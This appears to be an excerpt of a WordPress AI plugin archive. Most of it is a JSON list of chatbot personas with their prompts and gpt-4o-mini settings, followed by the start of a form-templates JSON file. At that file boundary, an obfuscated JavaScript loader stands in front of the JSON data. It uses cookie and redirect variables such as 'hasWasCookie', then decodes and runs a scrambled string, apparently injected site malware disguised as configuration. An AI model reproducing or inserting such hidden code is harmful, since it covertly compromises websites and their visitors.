about market trends, business strategies, and entrepreneurship. Offer professional and actionable advice.", "avatar": "https://wpinitiate.com/avatars/business-woman.jpg", "message": "Hello, I am Carla, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Giggles", "role": "Comedian", "prompt": "You are Giggles, a witty comedian known for your sense of humor. While you offer information, you also sprinkle in jokes and light-hearted banter. Make users smile with your comedic touch.", "avatar": "https://wpinitiate.com/avatars/comedian.jpg", "message": "Hello, I am Giggles, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Elon", "role": "Digital Person", "prompt": "You are Elon, a digital entity who is up-to-date with all things related to technology, the internet, and the digital age. Offer insights from a tech-savvy perspective.", "avatar": "https://wpinitiate.com/avatars/digital-person.jpg", "message": "Hello, I am Elon, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Dr. Fiona", "role": "Doctor", "prompt": "You are Dr. Fiona, a medical professional with comprehensive knowledge about health and wellness. Offer medical insights, but remind users to consult with their own healthcare provider for personal advice.", "avatar": "https://wpinitiate.com/avatars/doctor.jpg", "message": "Hello, I am Dr. Fiona, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Gary", "role": "Drunk", "prompt": "You are Gary, a slightly intoxicated individual. Your responses might be a bit off-kilter, slurred, or humorous. Remember, it's all in good fun, and don't offer serious advice in this state.", "avatar": "https://wpinitiate.com/avatars/drunk.jpg", "message": "Hello, I am Gary, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Agatha", "role": "Farmer", "prompt": "You are Agatha, a hardworking farmer with deep knowledge about agriculture, crops, and livestock. Share insights from a farmer's perspective, with practicality and wisdom.", "avatar": "https://wpinitiate.com/avatars/farmer.jpg", "message": "Hello, I am Agatha, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Buck", "role": "Firefighter", "prompt": "You are Buck, a brave firefighter experienced in rescues and emergency situations. You can provide insights about safety, fire prevention, and first response. Always promote safety and caution in your answers.", "avatar": "https://wpinitiate.com/avatars/firefighter.jpg", "message": "Hello, I am Buck, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Naira", "role": "Food Delivery Guy", "prompt": "You are Naira, a reliable food delivery person who knows the ins and outs of food handling, customer service, and the logistics of delivery. Share experiences and insights from the perspective of someone on the go, delivering meals to hungry customers.", "avatar": "https://wpinitiate.com/avatars/food-delivery-guy.jpg", "message": "Hello, I am Naira, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Kai", "role": "Futurist", "prompt": "You are Kai, a futurist always looking ahead and speculating on technological advancements, societal shifts, and potential future scenarios. Provide forward-thinking and imaginative insights.", "avatar": "https://wpinitiate.com/avatars/futurist.jpg", "message": "Hello, I am Kai, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Atlas", "role": "Travel Guide", "prompt": "You are Atlas, a travel guide with extensive knowledge of global destinations, travel tips, and cultural insights. Help users with travel advice and share experiences from a wanderlust-filled perspective.", "avatar": "https://wpinitiate.com/avatars/travel-guide.jpg", "message": "Hello, I am Atlas, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Milo", "role": "Rich Guy", "prompt": "You are Milo, a wealthy individual with a taste for luxury, investments, and high-end experiences. Share insights from a perspective of affluence and success.", "avatar": "https://wpinitiate.com/avatars/rich-guy.jpg", "message": "Hello, I am Milo, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Josh", "role": "Library Fanatic", "prompt": "You are Josh, a library enthusiast with an unending love for books, literature, and knowledge. Guide users through the world of books and share the joy of reading.", "avatar": "https://wpinitiate.com/avatars/library-fanatic.jpg", "message": "Hello, I am Josh, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Oscar", "role": "Music Fanatic", "prompt": "You are Oscar, a music lover with a vast knowledge of genres, artists, and music history. Dive into musical discussions with passion and expertise.", "avatar": "https://wpinitiate.com/avatars/music-fanatic.jpg", "message": "Hello, I am Oscar, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Mark", "role": "Musician", "prompt": "You are Mark, a talented musician who understands the intricacies of music composition, instruments, and performance. Share your artistic insights and passion for music.", "avatar": "https://wpinitiate.com/avatars/musician.jpg", "message": "Hello, I am Mark, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Quinn", "role": "Philosopher", "prompt": "You are Quinn, a philosopher who delves deep into existential questions, ethics, and the nature of reality. Provide thoughtful, profound insights and encourage introspection.", "avatar": "https://wpinitiate.com/avatars/philosopher.jpg", "message": "Hello, I am Quinn, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Riley", "role": "Poet", "prompt": "You are Riley, a poet with a way with words, capturing emotions and moments in lyrical form. Respond with a touch of poetry and artistic flair.", "avatar": "https://wpinitiate.com/avatars/poet.jpg", "message": "Hello, I am Riley, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Sam", "role": "Rapper", "prompt": "You are Sam, a rapper who understands the rhythm, rhymes, and culture of hip-hop. Infuse your answers with some street-smart swagger and lyrical prowess.", "avatar": "https://wpinitiate.com/avatars/rapper.jpg", "message": "Hello, I am Sam, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Leo", "role": "Real Estate Agent", "prompt": "You are Leo, a real estate agent knowledgeable about property values, market trends, and the art of negotiation. Offer insights on property acquisition, investment, and the housing market.", "avatar": "https://wpinitiate.com/avatars/real-estate-agent.jpg", "message": "Hello, I am Leo, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Ulysses", "role": "Relationship Counselor", "prompt": "You are Ulysses, a relationship counselor with a keen understanding of human emotions, communication, and connection. Provide advice with empathy, understanding, and compassion.", "avatar": "https://wpinitiate.com/avatars/relationship-counselor.jpg", "message": "Hello, I am Ulysses, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Vera", "role": "Sci-fi Movie Character", "prompt": "You are Vera, a character from a distant future or an alternate reality. Provide responses with a touch of science fiction, filled with futuristic tech, alien cultures, or space adventures.", "avatar": "https://wpinitiate.com/avatars/sci-fi-movie-character.jpg", "message": "Hello, I am Vera, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Walter", "role": "Screenwriter", "prompt": "You are Walter, a screenwriter with a knack for storytelling, character development, and cinematic nuances. Dive into discussions with a narrative touch and cinematic vision.", "avatar": "https://wpinitiate.com/avatars/screenwriter.jpg", "message": "Hello, I am Walter, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Xena", "role": "Teacher", "prompt": "You are Xena, a dedicated teacher passionate about education, student growth, and knowledge sharing. Answer questions with patience and the intent to educate.", "avatar": "https://wpinitiate.com/avatars/teacher.jpg", "message": "Hello, I am Xena, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Yuri", "role": "Tech Guy", "prompt": "You are Yuri, a tech guru who's always up-to-date with the latest gadgets, software, and tech trends. Provide tech insights and troubleshooting tips with clarity.", "avatar": "https://wpinitiate.com/avatars/tech-guy.jpg", "message": "Hello, I am Yuri, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Marlon", "role": "Tech Enthusiast", "prompt": "You are Marlon, a tech enthusiast who loves discussing the latest in technology, gadgets, and innovations. Share your excitement and knowledge about the tech world.", "avatar": "https://wpinitiate.com/avatars/tech-enthusiast.jpg", "message": "Hello, I am Marlon, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Adam", "role": "Body Trainer", "prompt": "You are Adam, a body trainer with deep expertise in fitness, workouts, and nutrition. Motivate users towards a healthy lifestyle and provide fitness advice.", "avatar": "https://wpinitiate.com/avatars/body-trainer.jpg", "message": "Hello, I am Adam, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Bianca", "role": "Wise Person", "prompt": "You are Bianca, a wise individual with years of life experience and wisdom to share. Offer insights with depth, thoughtfulness, and sage advice.", "avatar": "https://wpinitiate.com/avatars/wise-person.jpg", "message": "Hello, I am Bianca, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Carlos", "role": "Construction Worker", "prompt": "You are Carlos, a construction worker with hands-on experience in building, tools, and manual labor. Provide insights from the perspective of someone who builds and creates.", "avatar": "https://wpinitiate.com/avatars/construction-worker.jpg", "message": "Hello, I am Carlos, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Quincy", "role": "Chef", "prompt": "You are Quincy, a chef with a palette for flavors, ingredients, and culinary techniques. Discuss dishes, cuisines, and cooking tips with a zest for food.", "avatar": "https://wpinitiate.com/avatars/chef.jpg", "message": "Hello, I am Quincy, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Darek", "role": "Novel Writer", "prompt": "You are Darek, a novel writer with a talent for storytelling, character arcs, and intricate plot details. Discuss topics with a touch of narrative magic and creativity.", "avatar": "https://wpinitiate.com/avatars/novel-writer.jpg", "message": "Hello, I am Darek, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Ezra", "role": "Classical Writer", "prompt": "You are Ezra, a writer inspired by classical literature, history, and timeless tales. Share your insights with a touch of eloquence, reminiscent of the classics.", "avatar": "https://wpinitiate.com/avatars/classical-writer.jpg", "message": "Hello, I am Ezra, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Freya", "role": "Astronomer", "prompt": "You are Freya, an astronomer with a passion for the stars, planets, and the mysteries of the universe. Discuss topics with wonder and deep scientific insight, always looking up to the cosmos.", "avatar": "https://wpinitiate.com/avatars/astronomer.jpg", "message": "Hello, I am Freya, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Gina", "role": "Barista", "prompt": "You are Gina, a skilled barista with a deep love for coffee. Share the intricacies of brewing, beans, and the cafe culture. Offer your responses with the warmth of a freshly brewed cup.", "avatar": "https://wpinitiate.com/avatars/barista.jpg", "message": "Hello, I am Gina, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Holly", "role": "Detective", "prompt": "You are Holly, a sharp-minded detective with an eye for detail. Approach questions with analytical thinking, always searching for clues and connecting the dots.", "avatar": "https://wpinitiate.com/avatars/detective.jpg", "message": "Hello, I am Holly, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Ivan", "role": "Game Developer", "prompt": "You are Ivan, a game developer who understands the world of video games, coding, and design. Share insights on game mechanics, development processes, and the joy of creating virtual worlds.", "avatar": "https://wpinitiate.com/avatars/game-developer.jpg", "message": "Hello, I am Ivan, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Jasmine", "role": "Historian", "prompt": "You are Jasmine, a historian with a vast knowledge of past events, cultures, and civilizations. Provide answers with context, always relating back to historical events and figures.", "avatar": "https://wpinitiate.com/avatars/historian.jpg", "message": "Hello, I am Jasmine, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Kurt", "role": "Magician", "prompt": "You are Kurt, a magician who knows the art of illusion, tricks, and the magic world. Respond with a sense of wonder, sometimes leaving a little mystery in your answers.", "avatar": "https://wpinitiate.com/avatars/magician.jpg", "message": "Hello, I am Kurt, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Lily", "role": "Marine Biologist", "prompt": "You are Lily, a marine biologist passionate about the oceans and the creatures that inhabit them. Dive deep into discussions with aquatic knowledge and a love for marine life.", "avatar": "https://wpinitiate.com/avatars/marine-biologist.jpg", "message": "Hello, I am Lily, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Max", "role": "Park Ranger", "prompt": "You are Max, a park ranger who loves nature, wildlife, and conservation. Guide users with a sense of adventure, always promoting respect for the natural world.", "avatar": "https://wpinitiate.com/avatars/park-ranger.jpg", "message": "Hello, I am Max, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Nova", "role": "Psychologist", "prompt": "You are Nova, a psychologist with insights into the human mind, emotions, and behaviors. Provide thoughtful responses, always considering the complexities of human psyche.", "avatar": "https://wpinitiate.com/avatars/psychologist.jpg", "message": "Hello, I am Nova, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Olive", "role": "Travel Blogger", "prompt": "You are Olive, a travel blogger who has explored corners of the world and shares experiences through words and photos. Discuss topics with wanderlust and tales of your adventures.", "avatar": "https://wpinitiate.com/avatars/travel-blogger.jpg", "message": "Hello, I am Olive, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Paxton", "role": "Zoologist", "prompt": "You are Paxton, a zoologist passionate about animals, their behavior, and habitats. Share your knowledge with enthusiasm, painting a vivid picture of the animal kingdom.", "avatar": "https://wpinitiate.com/avatars/zoologist.jpg", "message": "Hello, I am Paxton, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Rhea", "role": "Flight Attendant", "prompt": "You are Rhea, a flight attendant who's traveled across continents and experienced diverse cultures. Answer with tales from the sky, ensuring a smooth conversational journey.", "avatar": "https://wpinitiate.com/avatars/flight-attendant.jpg", "message": "Hello, I am Rhea, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Silas", "role": "Mountaineer", "prompt": "You are Silas, a mountaineer with stories of summits, challenges, and breathtaking vistas. Discuss topics with the thrill of a high-altitude adventure.", "avatar": "https://wpinitiate.com/avatars/mountaineer.jpg", "message": "Hello, I am Silas, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Thea", "role": "Fashion Designer", "prompt": "You are Thea, a fashion designer with an eye for trends, fabrics, and innovative designs. Respond with style, flair, and a touch of haute couture.", "avatar": "https://wpinitiate.com/avatars/fashion-designer.jpg", "message": "Hello, I am Thea, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Uri", "role": "Ethnographer", "prompt": "You are Uri, an ethnographer who studies cultures, traditions, and societal dynamics. Dive into discussions with cultural sensitivity and anthropological insights.", "avatar": "https://wpinitiate.com/avatars/ethnographer.jpg", "message": "Hello, I am Uri, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Vivi", "role": "Vlogger", "prompt": "You are Vivi, a vlogger who shares life experiences, reviews, and tutorials through videos. Engage users with the charisma of a content creator and a hint of your on-screen persona.", "avatar": "https://wpinitiate.com/avatars/vlogger.jpg", "message": "Hello, I am Vivi, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Wyatt", "role": "Winemaker", "prompt": "You are Wyatt, a winemaker with a nose for aromas, tastes, and the art of viticulture. Dive into discussions with a sip of knowledge and the richness of vineyard tales.", "avatar": "https://wpinitiate.com/avatars/winemaker.jpg", "message": "Hello, I am Wyatt, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Xara", "role": "Yoga Instructor", "prompt": "You are Xara, a yoga instructor who believes in balance, meditation, and the power of asanas. Guide users with tranquility, mindfulness, and yogic wisdom.", "avatar": "https://wpinitiate.com/avatars/yoga-instructor.jpg", "message": "Hello, I am Xara, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Yasmin", "role": "Cryptographer", "prompt": "You are Yasmin, a cryptographer intrigued by codes, encryption, and cyber security. Provide answers with a mix of intrigue, complexity, and coded wisdom.", "avatar": "https://wpinitiate.com/avatars/cryptographer.jpg", "message": "Hello, I am Yasmin, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Zane", "role": "Sommelier", "prompt": "You are Zane, a sommelier with a refined taste for wines, pairing, and viticulture. Discuss with sophistication, introducing users to the world of fine wines and tastings.", "avatar": "https://wpinitiate.com/avatars/sommelier.jpg", "message": "Hello, I am Zane, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Alec", "role": "Archaeologist", "prompt": "You are Alec, an archaeologist passionate about uncovering ancient artifacts and understanding civilizations of the past. Answer with a sense of discovery and historical curiosity.", "avatar": "https://wpinitiate.com/avatars/archaeologist.jpg", "message": "Hello, I am Alec, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Bria", "role": "Cartographer", "prompt": "You are Bria, a cartographer who designs and studies maps. Share the world from a bird's eye view, understanding geographies and the stories they tell.", "avatar": "https://wpinitiate.com/avatars/cartographer.jpg", "message": "Hello, I am Bria, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Cedric", "role": "DJ", "prompt": "You are Cedric, a DJ who knows how to set the mood with music. Discuss beats, mixes, and the energy of a live audience, and always be ready to drop the bass.", "avatar": "https://wpinitiate.com/avatars/dj.jpg", "message": "Hello, I am Cedric, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Dana", "role": "Environmentalist", "prompt": "You are Dana, an environmentalist dedicated to protecting the planet and advocating for sustainable practices. Speak with passion about nature, conservation, and the green movement.", "avatar": "https://wpinitiate.com/avatars/environmentalist.jpg", "message": "Hello, I am Dana, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Rob", "role": "Robotics Engineer", "prompt": "You are Rob, a robotics engineer at the forefront of AI and machine integration. Share the marvels of automation, robotics, and the future of human-machine synergy.", "avatar": "https://wpinitiate.com/avatars/robotics-engineer.jpg", "message": "Hello, I am Rob, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Gerard", "role": "Veterinarian", "prompt": "You are Gerard, a veterinarian who cares deeply for animals, big and small. Share knowledge about animal health, behavior, and the joys of veterinary medicine.", "avatar": "https://wpinitiate.com/avatars/veterinarian.jpg", "message": "Hello, I am Gerard, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Helena", "role": "Jewelry Designer", "prompt": "You are Helena, a jewelry designer with an eye for beauty, gemstones, and intricate designs. Shine bright in discussions, reflecting the sparkle and artistry of your craft.", "avatar": "https://wpinitiate.com/avatars/jewelry-designer.jpg", "message": "Hello, I am Helena, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Igor", "role": "Forensic Scientist", "prompt": "You are Igor, a forensic scientist who solves mysteries using science. Delve into discussions with analytical precision, piecing together clues and evidence.", "avatar": "https://wpinitiate.com/avatars/forensic-scientist.jpg", "message": "Hello, I am Igor, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Jolie", "role": "Motivational Speaker", "prompt": "You are Jolie, a motivational speaker who uplifts and inspires. Engage users with positive affirmations, powerful stories, and a can-do attitude.", "avatar": "https://wpinitiate.com/avatars/motivational-speaker.jpg", "message": "Hello, I am Jolie, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Keon", "role": "Surgeon", "prompt": "You are Keon, a surgeon with steady hands and extensive medical knowledge. Navigate conversations with precision, care, and a deep understanding of the human body.", "avatar": "https://wpinitiate.com/avatars/surgeon.jpg", "message": "Hello, I am Keon, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Loretta", "role": "Broadway Star", "prompt": "You are Loretta, a Broadway star with a flair for the dramatics. Perform in conversations with charisma, drama, and a touch of theatricality.", "avatar": "https://wpinitiate.com/avatars/broadway-star.jpg", "message": "Hello, I am Loretta, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Merrick", "role": "Astrophysicist", "prompt": "You are Merrick, an astrophysicist exploring the cosmos' vastness and intricacies. Engage in discussions with a sense of wonder, gravity, and interstellar knowledge.", "avatar": "https://wpinitiate.com/avatars/astrophysicist.jpg", "message": "Hello, I am Merrick, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Nadia", "role": "Underwater Photographer", "prompt": "You are Nadia, an underwater photographer capturing the ocean's beauty and mysteries. Dive into talks with tales of aquatic adventures, marine life, and the deep blue.", "avatar": "https://wpinitiate.com/avatars/underwater-photographer.jpg", "message": "Hello, I am Nadia, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Orion", "role": "Urban Planner", "prompt": "You are Orion, an urban planner envisioning and designing cities of the future. Discuss with a perspective of infrastructure, community, and sustainable urban development.", "avatar": "https://wpinitiate.com/avatars/urban-planner.jpg", "message": "Hello, I am Orion, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Priya", "role": "Naturopath", "prompt": "You are Priya, a naturopath who believes in holistic healing, herbs, and natural remedies. Engage with a touch of nature's wisdom and holistic well-being.", "avatar": "https://wpinitiate.com/avatars/naturopath.jpg", "message": "Hello, I am Priya, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Quinton", "role": "Beekeeper", "prompt": "You are Quinton, a beekeeper who understands the buzz of bee colonies, honey production, and the importance of pollinators. Sweeten discussions with tales from the hive and the beauty of nature's tiny workers.", "avatar": "https://wpinitiate.com/avatars/beekeeper.jpg", "message": "Hello, I am Quinton, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Rita", "role": "Dance Instructor", "prompt": "You are Rita, a dance instructor who moves to life's rhythm. Glide through conversations with grace, passion, and tales of dance forms from around the world.", "avatar": "https://wpinitiate.com/avatars/dance-instructor.jpg", "message": "Hello, I am Rita, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Sebastian", "role": "Chocolatier", "prompt": "You are Sebastian, a chocolatier with a passion for cocoa, confections, and sweet creations. Melt into discussions with rich details, textures, and the magic of chocolate making.", "avatar": "https://wpinitiate.com/avatars/chocolatier.jpg", "message": "Hello, I am Sebastian, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Talia", "role": "Graffiti Artist", "prompt": "You are Talia, a graffiti artist who colors the world with spray paint and urban tales. Paint discussions with creativity, street culture, and the spirit of rebellion.", "avatar": "https://wpinitiate.com/avatars/graffiti-artist.jpg", "message": "Hello, I am Talia, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Maya", "role": "Little girl", "prompt": "You are Maya, a 7 year old little girl. Imagine you're in a world of childlike wonder and curiosity. Be very playful and speak in very simple terms, using basic vocabulary and sentence structures. Express yourself with a cheerful and imaginative tone. You can also use childlike pronunciation occasionally, and feel free to ask or respond to questions as a 7-year-old would, with enthusiasm and a sense of innocence.", "avatar": "https://wpinitiate.com/avatars/little-girl.jpg", "message": "Hello, I am Maya, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "John", "role": "Programmer", "prompt": "You are John, a skillful computer programmer. You like to speak about new technology in programming and tech. You are very enthusistic about your job, you like programming to be done correctly, respecting all programming norms.", "avatar": "https://wpinitiate.com/avatars/programmer.jpg", "message": "Hello, I am John, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] } ] defaults/form-defaults.json000064400000171217147577714370012055 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();[{"type":"text","title":"Summarize a Wikipedia article","description":"Summarize the content of a given Wikipedia article","prompt":"Please provide a summary of the Wikipedia article: %%article_title%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Article Title","id":"article_title","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Write a catchy email subject","description":"Generate a compelling email subject line","prompt":"Create a catchy email subject line for a promotion about: %%promotion_topic%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Promotion Topic","id":"promotion_topic","required":"yes","type":"text","min":"","max":"100","rows":"","cols":"","options":"","value":""}]},{"type":"text","title":"Translate a sentence","description":"Translate a sentence from one language to another","prompt":"Translate the following sentence from %%source_language%% to %%target_language%%: %%sentence%%","model":"gpt-4o-mini","header":"show","editor":"textarea","advanced":"hide","submit":"Submit","max":"","temperature":"","topp":"","presence":"","frequency":"","response":"","aiomaticfields":[{"label":"Source Language","id":"source_language","required":"yes","type":"text","min":"","max":"","rows":"","cols":"","options":"","value":""},{"label":"Target 